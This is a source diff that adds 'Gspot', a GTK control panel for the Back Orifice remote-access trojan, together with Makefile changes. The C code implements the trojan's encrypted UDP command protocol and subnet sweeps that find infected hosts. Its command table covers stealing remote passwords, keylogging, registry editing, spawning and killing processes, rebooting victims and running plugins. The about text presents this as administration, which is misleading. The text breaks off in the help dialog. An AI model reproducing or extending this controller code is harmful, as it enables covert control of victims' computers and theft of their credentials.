diff -ruN bo/Makefile.in bo_gspot/Makefile.in --- bo/Makefile.in Sun Aug 9 14:12:02 1998 +++ bo_gspot/Makefile.in Sun May 30 21:29:22 1999 @@ -1,12 +1,18 @@ CC=@CC@ LIBS=@LIBS@ INSTALL=@INSTALL@ +STRIP=/usr/bin/strip -all: bounix +prefix=/usr/local/bin + +all: bounix gspot clean: - rm *.o bounix + rm *.o bounix gspot install: - $(INSTALL) bounix /usr/local/bin/bounix + $(STRIP) bounix + $(INSTALL) bounix $(prefix)/bounix + $(STRIP) gspot + $(INSTALL) gspot $(prefix)/gspot distclean: rm *.o bounix config.status config.cache config.log config.h Makefile .o: @@ -14,3 +20,6 @@ bounix: bounix.o commands.o help.o $(CC) -o bounix bounix.o commands.o help.o $(LIBS) + +gspot: commands.o gspot.c + $(CC) -g -o gspot gspot.c commands.o $(LIBS) `gtk-config --libs` `gtk-config --cflags` diff -ruN bo/gspot.c bo_gspot/gspot.c --- bo/gspot.c Wed Dec 31 16:00:00 1969 +++ bo_gspot/gspot.c Sun May 30 22:37:50 1999 @@ -0,0 +1,1292 @@ +#include "config.h" +#include "bounix.h" +#include "helpstrings.h" +#include +#include + +/* Do you have anything to declare? */ +typedef struct { + gchar *Name; + gchar *command; + gchar *firstArg; + gchar *secondArg; +} probeListItem; + +typedef struct { + GtkWidget *kitchenTable; + GtkWidget *bookmark; + GtkWidget *returnScreen, *rsScroll; + GtkWidget *hbox, *vbox; + GtkWidget *exeBUTTon; + GtkWidget *hostLabel, *portLabel, *arg1Label, *arg2Label, *passLabel; + GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText; + + gchar oldhost[ARGSIZE + 1]; + gchar oldport[6]; + FILE *session_file; + int udpsock; + int port; + unsigned long host; + char cwd[MAX_PATH + 1]; +} perSessionItem; + +typedef struct { + gchar g_command[ARGSIZE + 1]; + gchar g_arg1[ARGSIZE + 1]; + gchar g_arg2[ARGSIZE + 1]; +} record_node; + +probeListItem probeArray[] = { + /* I've taken a few out, they aren't neccessary with a GUI + "Host", "HOST", "", "" + "Quit", "QUIT", "", "" + "Password", "PASSWD", "", "" + */ + /* BO commands */ + {"Local Shell Command", "L_SHELL", "Command:", "Unused:"}, + {"Ping", "PING", "Unused:", "Unused:"}, + {"Ping List", "PINGLIST", "File Name:", "Unused:"}, + {"Sweep subnet", "SWEEP", "Subnet:", "Unused:"}, + {"Sweep List", "SWEEPLIST", "File Name:", "Unused:"}, + /* File operations */ + {"List dir", "DIR", "File pattern:", "Unused:"}, + {"Find file", "FIND", "File pattern:", "Start in:"}, + {"View file", "VIEW", "File name:", "Unused:"}, + {"Delete file", "DEL", "File:", "Unused:"}, + {"Copy file", "COPY", "Source filename:", "Destination:"}, + {"Rename file", "REN", "File name:", "Destination:"}, + {"Compress file", "FREEZE", "Freeze file:", "Destination:"}, + {"Uncompress file", "MELT", "Frozen file:", "Destination:"}, + /* Dir operations */ + {"Change dir", "CD", "New directory:", "Unused:"}, + {"Make directory", "MD", "New dir:", "Unused:"}, + {"Remove directory", "RD", "Directory:", "Unused:"}, + /* {"Download file", "GET", "Remote filename:", "Local filename:"); Apparently these two */ + /* {"Upload file", "PUT", "Local filename:", "Remote filename:"); weren't implemented */ + /* System operations */ + /* {"Open Shell", "SHELL", "Unused:", "Unused:"); Also not implemented */ + /* {"Get status", "STATUS", "Unused:", "Unused:"); Status is useless to me */ + {"Get system info", "INFO", "Unused:", "Unused:"}, + {"Get remote passwords", "PASSES", "Unused:", "Unused:"}, + {"Create system dialog", "DIALOG", "Dialog text:", "Title text:"}, + {"Keylog", "KEYLOG", "Log File: (or stop)", "Unused:"}, + {"List processes", "PROCLIST", "Unused:", "Unused:"}, + {"Kill process", "PROCKILL", "Process ID:", "Unused:"}, + {"Start process", "PROCSPAWN", "Commandline:", "Unused:"}, + {"Lockup system", "LOCKUP", "Unused:", "Unused:"}, + {"Reboot system", "REBOOT", "Unused:", "Unused:"}, + /* Network stuff */ + {"Resolve hostname", "RESOLVE", "Hostname:", "Unused:"}, + {"List IP redirects", "REDIRLIST", "Unused:", "Unused:"}, + {"Delete IP redirect", "REDIRDEL", "Redir Number:", "Unused:"}, + {"Add IP redirect", "REDIRADD", "Input Port:", "Output IP:Port,UDP:"}, + {"List console apps", "APPLIST", "Unused:", "Unused:"}, + {"Remove console app", "APPDEL", "App ID:", "Unused:"}, + {"Add console app", "APPADD", "Program:", "Port:"}, + {"List available resources", "NETVIEW", "Unused:", "Unused:"}, + {"List connected resources", "NETLIST", "Unused:", "Unused:"}, + {"Disconnect resource", "NETDISCONNECT", "Resource:", "Unused:"}, + {"Connect to resource", "NETCONNECT", "Resource:", "Password:"}, + {"List shares", "SHARELIST", "Unused:", "Unused:"}, + {"Delete shares", "SHAREDEL", "Share name:", "Unused:"}, + {"Add shares", "SHAREADD", "Share name:", "Local dir,Password,remark:"}, + {"Stop HTTP server", "HTTPOFF", "Unused:", "Unused:"}, + {"Start HTTP server", "HTTPON", "Port:", "Root:"}, + {"Send file via TCP", "TCPSEND", "File name:", "Target IP:Port"}, + {"Recieve file via TCP", "TCPRECV", "File name:", "Target IP:Port,"}, + /* Multimedia stuff */ + {"List MM capture devices", "LISTCAPS", "Unused:", "Unused:"}, + {"Capture bitmap", "CAPSCREEN", "File name:", "Unused:"}, + {"Capture frame from MM", "CAPFRAME", "File name:", "Device,Width,Height,Bits:"}, + {"Capture AVI", "CAPAVI", "File name:", "Seconds,Device,Width,Height,Bits:"}, + {"Play wav file", "SOUND", "File name;", "Unused:"}, + /* Registry */ + {"List registry subkeys", "REGLISTKEYS", "Keyname:", "Unused:"}, + {"List registry values", "REGLISTVALS", "Keyname:", "Unused:"}, + {"Delete registry key", "REGDELKEY", "Keyname:", "Unused:"}, + {"Make registry key", "REGMAKEKEY", "Keyname:", "Unused:"}, + {"Delete registry value", "REGDELVAL", "Value name:", "Unused:"}, + {"Set registry value", "REGSETVAL", "Value name:", "Type,Value:"}, + /* Plugins */ + {"List plugins", "PLUGINLIST", "Unused:", "Unused:"}, + {"Stop plugin", "PLUGINKILL", "Plugin ID:", "Unused:"}, + {"Execute plugin", "PLUGINEXEC", "DLL name:Plugin name:", "Plugin args"}, + {} +}; + +/* Function prototypes */ +void start_recording (GtkWidget *widget, + gpointer data); +void stop_recording_dialog (GtkWidget *widget, + gpointer data); +void stop_recording (GtkWidget *widget, + GtkFileSelection *fs); +void run_script (GtkWidget *widget, + GtkFileSelection *fs); +void run_script_dialog (GtkWidget *widget, + gpointer data); +void select_probe (GtkWidget *widget, + gint row, + gint column, + GdkEventButton *event, + gpointer data); +void gspot_printf (gchar *message, ...); +void givehelpcommand (char *arg1); +void errorDialog (GtkWidget *widget, + gpointer data); +void aboutDialog (GtkWidget *widget, + gpointer data); +void helpDialog (GtkWidget *widget, + gpointer data); +void save_session_file(GtkWidget *widget, + gpointer data); +void save_session_file_as(GtkWidget *widget, + gpointer data); +void create_gspot_interface(GtkWidget *widget, + gpointer data); +void destroy_gspot_interface(GtkWidget *widget, + gpointer data); +void remove_gspot_interface(GtkWidget *widget, + gpointer data); +gint main( int argc, char *argv[] ); + +/* Globals */ +gchar *currentProbe = NULL; +gint recording = 0; +gint recorded_items = 0; +record_node *record_list; +gint num_tabs = 0; +perSessionItem *sessionItems; +GtkWidget *pornoMag; +FILE *script_file; + +/* From bounix.c */ +int udpsock; +int port = PORT; +int g_lastpongport; +unsigned long host; +unsigned long g_lastpongip; +unsigned long g_packet; +static long holdrand = 1L; +struct sockaddr_in sockaddr; +struct in_addr hostin; +char g_password[ARGSIZE + 1]; +char g_lastdata[BUFFSIZE + 1]; +char cwd[MAX_PATH + 1]; +char buff[BUFFSIZE + 1]; + +/* Look! Actual code! */ + +void msrand (unsigned int seed ) +{ + holdrand = (long)seed; +} + +int mrand ( void ) +{ + return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff); +} + +unsigned int getkey() +{ + int x, y; + unsigned int z; + + y = strlen(g_password); + if (!y) + return 31337; + else { + z = 0; + for (x = 0; x < y; x++) + z+= g_password[x]; + + for (x = 0; x < y; x++) + { + if (x%2) + z-= g_password[x] * (y-x+1); + else + z+= g_password[x] * (y-x+1); + z = z%RAND_MAX; + } + z = (z * y)%RAND_MAX; + return z; + } +} + +void BOcrypt(unsigned char *buff, int len) +{ + int y; + + if (!len) + return; + + msrand(getkey()); + for (y = 0; y < len; y++) + buff[y] = buff[y] ^ (mrand()%256); +} + +/* + * I/O socket functions + */ + +int getpong(int sock) /* loops through with select, returns 0 on correct ping response */ +{ /* and 1 on a timeout or select error. */ + struct sockaddr_in host; + char buff[BUFFSIZE]; + int hostsize, x, sel; + unsigned long *pdw; + unsigned char *ptr; + unsigned long packetsize; + unsigned char type; + fd_set fds; + struct timeval tv; + + FD_ZERO(&fds); + FD_SET(sock, &fds); + tv.tv_sec = 0; + tv.tv_usec = 0; + hostsize = sizeof(host); + + while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0) + { + tv.tv_sec=0; + tv.tv_usec=0; + + if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) { + return(1); + } + + BOcrypt(buff, x); + + if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) + { + gspot_printf("------- Garbage packet recieved from %s port %d -------\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + continue; + } + pdw = (unsigned long *)buff; + pdw+=2; + packetsize = __EL_LONG(*pdw); + pdw+=2; + ptr = (unsigned char *)pdw; + type = *ptr++; + + if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) && + (type == TYPE_PING)) + { + gspot_printf("---- Pong received from %s port %d ---\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gspot_printf("%s", ptr); + gspot_printf("---------- End of data ----------------------\n"); + g_lastpongip = host.sin_addr.s_addr; + g_lastpongport = (int)ntohs(host.sin_port); + return(0); + } else { + gspot_printf("---- Non pong response from %s port %d ---\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gspot_printf("%s", ptr); + gspot_printf("---------- End of data ---------------------\n"); + continue; + } + } + if (sel < 0) + perror("select"); + + return(1); +} + +int getinput(int sock) +{ + struct sockaddr_in host; + char buff[BUFFSIZE]; + int hostsize, x, sel; + unsigned long *pdw; + unsigned char *ptr; + unsigned long packetsize; + unsigned long oldestpack, lastpacket, packetid, p; + unsigned char type; + struct timeval tv; + fd_set fds; + + FD_ZERO(&fds); + FD_SET(sock, &fds); + tv.tv_sec = 10; + tv.tv_usec = 0; + hostsize = sizeof(host); + + while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 ) + { + tv.tv_sec = 10; /* check, does select modify tv? */ + tv.tv_usec = 0; + + if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, + &hostsize)) <= 0) + continue; /* this still shouldnt happen */ + + BOcrypt(buff, x); + if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) + continue; /* this packet isnt for us, pass off */ + + pdw = (unsigned long *)buff; /* parse out the packet */ + pdw+=2; + packetsize = *pdw++; + packetsize = __EL_LONG(packetsize); + packetid = *pdw++; + packetid = __EL_LONG(packetid); + ptr = (unsigned char *)pdw; + type = *ptr++; + + /* this is a singular packet */ + if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) ) + { + gspot_printf("---- Packet received from %s port %d -----\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + gspot_printf("%s", ptr); + gspot_printf("---------- End of data ---------------------\n"); + return 0; /* success */ + } + + /* first packet in a set of packets */ + if (!(type & CONTINUED_PACKET)) + { + oldestpack = packetid; + gspot_printf("---- Packet received from %s port %d -----\n", + inet_ntoa(host.sin_addr), + (int)ntohs(host.sin_port) ); + } + + if(type & CONTINUED_PACKET) /* if we're here, i believe this will always be true */ + { + /* if packetid = lastpacket+1 (normal), this doesnt run */ + + /* This code is B00l Shit. It's borken big time. + for(p=lastpacket; packetid > lastpacket+1; p++) + printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack)); + */ + lastpacket = packetid; + } + + gspot_printf("%s", ptr); + + /* last packet in a set of packets */ + if (!(type & PARTIAL_PACKET)) + { + gspot_printf("---------- End of data ---------------------\n"); + return 0; /* success */ + } + } + + /* determine why we broke out of the loop */ + if (sel == 0) { + gspot_printf("Timeout on wait, host may not be reachable, or no server installed\n"); + } + else if (sel < 0) + perror("select"); + + return(1); /* error */ +} + + +int sendping(unsigned long dest, int port, int sock) +{ + unsigned char *ptr; + unsigned long *pdw; + unsigned long size; + struct sockaddr_in host; + char buff[BUFFSIZE]; + int i; + fd_set fdset; + struct timeval tv; + + size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2; + strcpy(buff, MAGICSTRING); + pdw = (unsigned long *)(buff + MAGICSTRINGLEN); + *pdw++ = __EL_LONG(size); + *pdw++ = __EL_LONG((unsigned long)-1); + ptr = (unsigned char *)pdw; + *ptr++ = TYPE_PING; + *ptr = 0; + + BOcrypt(buff, (int)size); + + host.sin_family = AF_INET; + host.sin_port = htons((u_short)port); + host.sin_addr.s_addr = dest; + + FD_ZERO(&fdset); + FD_SET(sock, &fdset); + tv.tv_sec = 10; + tv.tv_usec = 0; + + i = select(sock+1, NULL, &fdset, NULL, &tv); + if (i == 0) + { + gspot_printf("Timeout waiting to send to socket\n"); + return(1); + } else if (i < 0) { + perror("select: "); + return(1); + } + + if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size ) + { + perror("sendto: "); + return(1); + } + + return 0; +} + +int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock) +{ + unsigned char *ptr; + unsigned long *pdw; + unsigned long size; + struct sockaddr_in host; + char buff[BUFFSIZE]; + + if (dest == 0) + { + gspot_printf("Set a target host with the 'host' command. (Type 'help' for assistance)"); + return 1; + } + /* 4 4 1 ? ? 1 + * ----------------------------------------------- + * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc| + * | | |num | | | | | + * ----------------------------------------------- + */ + size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2); + strcpy(buff, MAGICSTRING); + pdw = (unsigned long *)(buff + MAGICSTRINGLEN); + *pdw++ = __EL_LONG(size); + *pdw++ = __EL_LONG(g_packet); + g_packet++; + ptr = (unsigned char *)pdw; + *ptr++ = type; + strcpy(ptr, str1); + ptr += strlen(str1) + 1; + strcpy(ptr, str2); + + BOcrypt(buff, (int)size); + + host.sin_family = AF_INET; + host.sin_port = htons((u_short)port); + host.sin_addr.s_addr = dest; + + if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size) + { + perror("sendto: "); + return(1); + } + return 0; +} + + +/************************** MISC FUNCTIONS **************************/ + +void fixfilename(char *buff, const char *cwd, const char *path) +{ + if (path[0] == '\\') + { + strncpy(buff, cwd, 2); + strncpy(buff+3, path, strlen(path)+1); + } else if (strncmp(path+1, ":\\", 2) == 0){ + strcpy(buff, path); + } else { + sprintf(buff, "%s%s", cwd, path); + } +} + + +/*----------------------------------------------- + || GKT code below + ||-------------------------------------------*/ + +void destroy (GtkWidget *widget, gpointer data) +{ + gint current_session; + while(current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)) + 1) { + destroy_gspot_interface(NULL, NULL); + } + close(udpsock); + gtk_main_quit (); +} + + +void execute(GtkWidget *widget, gpointer data) +{ + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + if ( (sessionItems[current_session].host == 0) || /* We don't have a host? Must be the first time... */ + (strcmp(sessionItems[current_session].oldhost, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].hostText)))) || + (strcmp(sessionItems[current_session].oldport, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].portText)))) ) { + /* The hostname or port was changed */ + executecommand("HOST", + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].hostText)), + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].portText))); + if ( host == 0 ) { + gspot_printf("Resolver said: \"Eat me\"\n I think you should check your hostname/port."); + gtk_entry_set_text(GTK_ENTRY(sessionItems[current_session].hostText), + sessionItems[current_session].oldhost); + gtk_entry_set_text(GTK_ENTRY(sessionItems[current_session].portText), + sessionItems[current_session].oldport); + return; + } + /* We've a host now. */ + sessionItems[current_session].host = host; + sessionItems[current_session].port = port; + strcpy(sessionItems[current_session].oldhost, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].hostText)) ); + strcpy(sessionItems[current_session].oldport, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].portText)) ); + gtk_label_set_text(GTK_LABEL(sessionItems[current_session].bookmark), + sessionItems[current_session].oldhost); + } + + if (!currentProbe) { + gspot_printf("Please click on one of the commands.\n It may look like ping is selected, but it isn't."); + } else { + host = sessionItems[current_session].host; + port = sessionItems[current_session].port; + strcpy(g_password, gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].passText))); + if(recording) { + if(record_list) + record_list = realloc(record_list, sizeof(record_node) * (recorded_items + 1)); + else + record_list = malloc(sizeof(record_node)); + strcpy(record_list[recorded_items].g_command, currentProbe); + strcpy(record_list[recorded_items].g_arg1, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].arg1Text))); + strcpy(record_list[recorded_items].g_arg2, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].arg2Text))); + recorded_items++; + } + /* We look for our own commands first */ + if (strcmp(currentProbe, "L_SHELL") == 0) { + system(gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].arg1Text))); + } else { + if (executecommand(currentProbe, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].arg1Text)), + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].arg2Text)) )) + gspot_printf("Command Failed\n"); + } + } +} + + +void start_recording (GtkWidget *widget, + gpointer data) { + recording = 1; +} + + +void stop_recording (GtkWidget *widget, + GtkFileSelection *fs) { + gint i = 0; + FILE *save_me; + + save_me = fopen(gtk_file_selection_get_filename (GTK_FILE_SELECTION (fs)), "w"); + if(!save_me) { + errorDialog(NULL, NULL); + return; + } else { + while( i < recorded_items) { + fprintf(save_me, "Command: %s\n", record_list[i].g_command); + fprintf(save_me, "Arg 1 : %s\n", record_list[i].g_arg1); + fprintf(save_me, "Arg 2 : %s\n", record_list[i].g_arg2); + i++; + } + fclose(save_me); + recording = 0; + recorded_items = 0; + free(record_list); + record_list = NULL; + } + gtk_widget_destroy((GtkWidget *)fs); +} + + +void stop_recording_dialog (GtkWidget *widget, + gpointer data) { + GtkWidget *f_dialog; + + f_dialog = gtk_file_selection_new("Gspot script file..."); + gtk_signal_connect (GTK_OBJECT (GTK_FILE_SELECTION (f_dialog)->ok_button), "clicked", + GTK_SIGNAL_FUNC(stop_recording), f_dialog ); + gtk_signal_connect_object (GTK_OBJECT (f_dialog), "destroy", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_signal_connect_object (GTK_OBJECT (GTK_FILE_SELECTION(f_dialog)->cancel_button), "clicked", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_widget_show(f_dialog); +} + + +void run_script (GtkWidget *widget, + GtkFileSelection *fs) { + gchar test[10]; + gchar g_command[ARGSIZE + 1]; + gchar g_arg1[ARGSIZE + 1]; + gchar g_arg2[ARGSIZE + 1]; + gchar *nl_char; + FILE *run_me; + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + + executecommand("HOST", + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].hostText)), + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].portText))); + if(host == 0) { + errorDialog(NULL, NULL); + gspot_printf("Hostname did not resolve, eh?"); + return; + } + sessionItems[current_session].host = host; + sessionItems[current_session].port = port; + strcpy(sessionItems[current_session].oldhost, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].hostText)) ); + strcpy(sessionItems[current_session].oldport, + gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].portText)) ); + gtk_label_set_text(GTK_LABEL(sessionItems[current_session].bookmark), + sessionItems[current_session].oldhost); + strcpy(g_password, gtk_entry_get_text(GTK_ENTRY(sessionItems[current_session].passText))); + + run_me = fopen(gtk_file_selection_get_filename (GTK_FILE_SELECTION (fs)), "r"); + gtk_widget_destroy((GtkWidget *)fs); + if(!run_me) { + errorDialog(NULL, NULL); + return; + } else { + while(!feof(run_me)) { + fgets(test, 10, run_me); + if(strcmp(test, "Command: ")) { + puts("That isn't a command"); + break; + } + fgets(g_command, ARGSIZE, run_me); + nl_char = strchr(g_command, '\n'); + if(nl_char) + *nl_char = 0; + + fgets(test, 10, run_me); + if(strcmp(test, "Arg 1 : ")) { + puts("That isn't an Arg."); + break; + } + fgets(g_arg1, ARGSIZE, run_me); + nl_char = strchr(g_arg1, '\n'); + if(nl_char) + *nl_char = 0; + + fgets(test, 10, run_me); + if(strcmp(test, "Arg 2 : ")) { + puts("That isn't an Arg."); + break; + } + fgets(g_arg2, ARGSIZE, run_me); + nl_char = strchr(g_arg2, '\n'); + if(nl_char) + *nl_char = 0; + + /* We look for our own commands first */ + if (strcmp(g_command, "L_SHELL") == 0) { + system(g_arg1); + } else { + if (executecommand(g_command, g_arg1, g_arg2)) + gspot_printf("Command Failed\n"); + } + } + fclose(run_me); + } + +} + + +void run_script_dialog (GtkWidget *widget, + gpointer data) { + GtkWidget *f_dialog; + + f_dialog = gtk_file_selection_new("Gspot script file..."); + gtk_signal_connect (GTK_OBJECT (GTK_FILE_SELECTION (f_dialog)->ok_button), "clicked", + GTK_SIGNAL_FUNC(run_script), f_dialog ); + gtk_signal_connect_object (GTK_OBJECT (f_dialog), "destroy", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_signal_connect_object (GTK_OBJECT (GTK_FILE_SELECTION(f_dialog)->cancel_button), "clicked", + GTK_SIGNAL_FUNC(gtk_widget_destroy), GTK_OBJECT (f_dialog)); + gtk_widget_show(f_dialog); +} + + +void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data) +{ + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + currentProbe = probeArray[row].command; + gtk_label_set(GTK_LABEL(sessionItems[current_session].arg1Label), + probeArray[row].firstArg); + gtk_label_set(GTK_LABEL(sessionItems[current_session].arg2Label), + probeArray[row].secondArg); +} + +void gspot_printf (char *message, ...) +{ + gint current_session = gtk_notebook_get_current_page(GTK_NOTEBOOK(pornoMag)); + gchar responce[BUFFSIZE + 1]; + va_list args; + + va_start(args, message); + vsnprintf(responce, BUFFSIZE, message, args); + gtk_text_insert( GTK_TEXT(sessionItems[current_session].returnScreen), + NULL,NULL,NULL,responce,-1); + if(message[strlen(message)-1] != '\n') + gtk_text_insert( GTK_TEXT(sessionItems[current_session].returnScreen), + NULL,NULL,NULL,"\n",-1); + va_end(args); +} + +void givehelpcommand(char *arg1) +{ + helpDialog(NULL, arg1); +} + +void errorDialog (GtkWidget *widget, gpointer data) { + GtkWidget *errorWindow; + GtkWidget *gspot_frame; + GtkWidget *button; + GtkWidget *label; + + errorWindow = gtk_dialog_new (); + gtk_container_border_width (GTK_CONTAINER (errorWindow), 10); + + button = gtk_button_new_with_label(" OK, I'll try to figure it out. "); + gtk_signal_connect_object (GTK_OBJECT (button), "clicked", + GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (errorWindow)); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (errorWindow)->action_area), button, + TRUE, TRUE, 0); + gtk_widget_show (button); + + gspot_frame = gtk_frame_new("Gspot"); + gtk_widget_show(gspot_frame); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (errorWindow)->vbox), gspot_frame, TRUE, + TRUE, 0); + + label = gtk_label_new(" +That didn't work. Maybe you're doing it wrong. +"); + gtk_container_add(GTK_CONTAINER(gspot_frame), label); + gtk_widget_show (label); + gtk_widget_show (errorWindow); +} + +void aboutDialog (GtkWidget *widget, gpointer data) { + GtkWidget *aboutWindow; + GtkWidget *gspot_frame; + GtkWidget *button; + GtkWidget *label; + + aboutWindow = gtk_dialog_new (); + gtk_container_border_width (GTK_CONTAINER (aboutWindow), 10); + + button = gtk_button_new_with_label(" Thanks for making the world a better place. "); + gtk_signal_connect_object (GTK_OBJECT (button), "clicked", + GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (aboutWindow)); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (aboutWindow)->action_area), button, + TRUE, TRUE, 0); + gtk_widget_show (button); + + gspot_frame = gtk_frame_new("Gspot v2.0"); + gtk_widget_show(gspot_frame); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (aboutWindow)->vbox), gspot_frame, TRUE, + TRUE, 0); + + label = gtk_label_new(" +Gspot is a control panel for cDc's +Back Orifice, a remote administration +tool for Windows 95 and Windows 98. + +Gspot is written with the intention of +making it easier for administrators to +handle machines using the Back Orifice +tool. + +You can contact the author at: + +"); + gtk_container_add(GTK_CONTAINER(gspot_frame), label); + gtk_widget_show (label); + gtk_widget_show (aboutWindow); +} + +void helpDialog (GtkWidget *widget, gpointer data) { + GtkWidget *helpWindow; + GtkWidget *button; + GtkWidget *label; + char labelTemp[10]; + + helpWindow = gtk_dialog_new (); + gtk_container_border_width (GTK_CONTAINER (helpWindow), 10); + + button = gtk_button_new_with_label("OK"); + gtk_signal_connect_object (GTK_OBJECT (button), "clicked", + GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (helpWindow)); + gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->action_area), button, + TRUE, TRUE, 0); + gtk_widget_show (button); + + if ( (currentProbe == NULL) || + (strlen((char *) currentProbe) == 0)) label = gtk_label_new("Select an item first"); + else if (strcasecmp((char *) currentProbe, "L_SHELL") == 0) label = gtk_label_new(l_shellhelp); + else if (strcasecmp((char *) currentProbe, "HOST") == 0) label = gtk_label_new(hosthelp); + else if (strcasecmp((char *) currentProbe, "QUIT") == 0) label = gtk_label_new(quithelp); + else if (strcasecmp((char *) currentProbe, "PING") == 0) label = gtk_label_new(pinghelp); + else if (strcasecmp((char *) currentProbe, "PINGLIST") == 0) label = gtk_label_new(pinglisthelp); + else if (strcasecmp((char *) currentProbe, "SWEEP") == 0) label = gtk_label_new(sweephelp); + else if (strcasecmp((char *) currentProbe, "SWEEPLIST") == 0) label = gtk_label_new(sweeplisthelp); + else if (strcasecmp((char *) currentProbe, "SHELL") == 0) label = gtk_label_new(shellhelp); + else if (strcasecmp((char *) currentProbe, "STATUS") == 0) label = gtk_label_new(statushelp); + else if (strcasecmp((char *) currentProbe, "PASSWD") == 0) label = gtk_label_new(passwdhelp); + else if (strcasecmp((char *) currentProbe, "DIR") == 0) label = gtk_label_new(dirhelp); + else if (strcasecmp((char *) currentProbe, "CD") == 0) label = gtk_label_new(cdhelp); + else if (strcasecmp((char *) currentProbe, "DEL") == 0) label = gtk_label_new(delhelp); + else if (strcasecmp((char *) currentProbe, "GET") == 0) label = gtk_label_new(gethelp); + else if (strcasecmp((char *) currentProbe, "PUT") == 0) label = gtk_label_new(puthelp); + else if (strcasecmp((char *) currentProbe, "COPY") == 0) label = gtk_label_new(copyhelp); + else if (strcasecmp((char *) currentProbe, "FIND") == 0) label = gtk_label_new(findhelp); + else if (strcasecmp((char *) currentProbe, "FREEZE") == 0) label = gtk_label_new(freezehelp); + else if (strcasecmp((char *) currentProbe, "MELT") == 0) label = gtk_label_new(melthelp); + else if (strcasecmp((char *) currentProbe, "VIEW") == 0) label = gtk_label_new(viewhelp); + else if (strcasecmp((char *) currentProbe, "REN") == 0) label = gtk_label_new(renhelp); + else if (strcasecmp((char *) currentProbe, "MD") == 0) label = gtk_label_new(mdhelp); + else if (strcasecmp((char *) currentProbe, "RD") == 0) label = gtk_label_new(rdhelp); + else if (strcasecmp((char *) currentProbe, "INFO") == 0) label = gtk_label_new(infohelp); + else if (strcasecmp((char *) currentProbe, "PASSES") == 0) label = gtk_label_new(passeshelp); + else if (strcasecmp((char *) currentProbe, "DIALOG") == 0) label = gtk_label_new(dialoghelp); + else if (strcasecmp((char *) currentProbe, "KEYLOG") == 0) label = gtk_label_new(keyloghelp); + else if (strcasecmp((char *) currentProbe, "REBOOT") == 0) label = gtk_label_new(reboothelp); + else if (strcasecmp((char *) currentProbe, "NETVIEW") == 0) label = gtk_label_new(netviewhelp); + else if (strcasecmp((char *) currentProbe, "NETCONNECT") == 0) label = gtk_label_new(netconnecthelp); + else if (strcasecmp((char *) currentProbe, "NETDISCONNECT") == 0) label = gtk_label_new(netdisconnecthelp); + else if (strcasecmp((char *) currentProbe, "NETLIST") == 0) label = gtk_label_new(netlisthelp); + else if (strcasecmp((char *) currentProbe, "RESOLVE") == 0) label = gtk_label_new(resolvehelp); + else if (strcasecmp((char *) currentProbe, "SHARELIST") == 0) label = gtk_label_new(sharelisthelp); + else if (strcasecmp((char *) currentProbe, "SHAREADD") == 0) label = gtk_label_new(shareaddhelp); + else if (strcasecmp((char *) currentProbe, "SHAREDEL") == 0) label = gtk_label_new(sharedelhelp); + else if (strcasecmp((char *) currentProbe, "PROCLIST") == 0) label = gtk_label_new(proclisthelp); + else if (strcasecmp((char *) currentProbe, "PROCKILL") == 0) label = gtk_label_new(prockillhelp); + else if (strcasecmp((char *) currentProbe, "PROCSPAWN") == 0) label = gtk_label_new(procspawnhelp); + else if 